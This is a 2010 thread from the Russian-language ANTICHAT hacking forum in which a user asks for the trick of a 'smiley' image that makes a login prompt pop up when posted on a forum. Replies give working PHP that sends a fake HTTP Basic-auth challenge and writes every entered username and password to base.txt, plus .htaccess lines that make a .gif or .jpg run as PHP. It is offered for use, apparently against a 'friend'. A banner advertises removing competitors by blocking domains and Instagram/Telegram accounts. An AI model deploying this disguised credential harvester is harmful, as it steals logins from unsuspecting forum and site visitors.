xss — ANTICHAT Forum

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
xss

Опции темы

Поиск в этой теме

Опции просмотра

xss

13.03.2010, 01:16

n1ck

Новичок

Регистрация: 06.09.2007

Сообщений: 8

С нами: 9830909

Репутация: 4

xss

поделитесь файликом или напомните как называется у меня где то было на компе найти не могу или потер случайно в общем суть такая
есть там картинка с кодом и файл htaccess
эта картинка выглядит как смайл при вставке ссылки на форуме или на сайте выскакивает окошко с просьбой ввести логин и пароль при вводе он сохраняет логин и пароль на сервере где картинка.
если можете прикрепите файл или напомните как называеться

𝕏 Twitter Reddit Telegram Копировать ссылку

13.03.2010, 01:28

wolmer

Постоянный

Регистрация: 12.05.2009

Сообщений: 395

С нами: 8947056

Репутация: 229

В htaccess добавляешь (точно не помню, но вроде это):
AddType application/x-httpd-php .jpg

Далее гуглишь как вызвать basic авторизацию на php, ну и собственно кладешь скрипт (с basic авторизацией) в .jpg "формат" на сервере, и даешь эту jpg своему другу к примеру

13.03.2010, 01:38

satana-fu

Moderator - Level 7

Регистрация: 06.02.2009

Сообщений: 195

С нами: 9083308

Репутация: 719

image.gif

PHP код:


		
			
<?

    $filevalid    = 'base.txt';

    $good        = fopen($filevalid, 'a+');

header("WWW-Authenticate: Basic realm=\"Access Forbidden - Private level\"");

header("HTTP/1.0 401 Access Forbidden");

if (isset($_SERVER["PHP_AUTH_USER"]) ) {

$user = $_SERVER["PHP_AUTH_USER"];

$pass = $_SERVER["PHP_AUTH_PW"];

fwrite ($good, $user.';'.$pass."\n");

header("HTTP/1.0 200");

//exit("test");

}



?>

.htaccess

PHP код:


		
			
<files "image.gif">

AddType application/x-httpd-php .gif

</files>

base.txt (с правами 777)

PHP код:

13.03.2010, 01:54

n1ck

Новичок

Регистрация: 06.09.2007

Сообщений: 8

С нами: 9830909

Репутация: 4

Спасибо большой за помощь

13.03.2010, 02:01

n1ck

Новичок

Регистрация: 06.09.2007

Сообщений: 8

С нами: 9830909

Репутация: 4

Вот кстате я такой архивчик искал
http://forum4game.freetzi.com/images/
не у кого нету?

« Предыдущая тема | Следующая тема »

Похожие темы
Тема	Автор	Раздел	Ответов	Последнее сообщение
Энциклопедия уязвимых скриптов	DIAgen	Веб-уязвимости	519	23.09.2021 11:44
Xss для новичков	Micr0b	Уязвимости	79	06.07.2018 22:05
Xss: Cегодня и вчера. Опрос	Constantine	Болталка	48	07.12.2009 08:57
Cross Site Scripting FAQ	k00p3r	Уязвимости	6	12.06.2005 16:23

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход

Создать сделку

Мои сделки

Сделка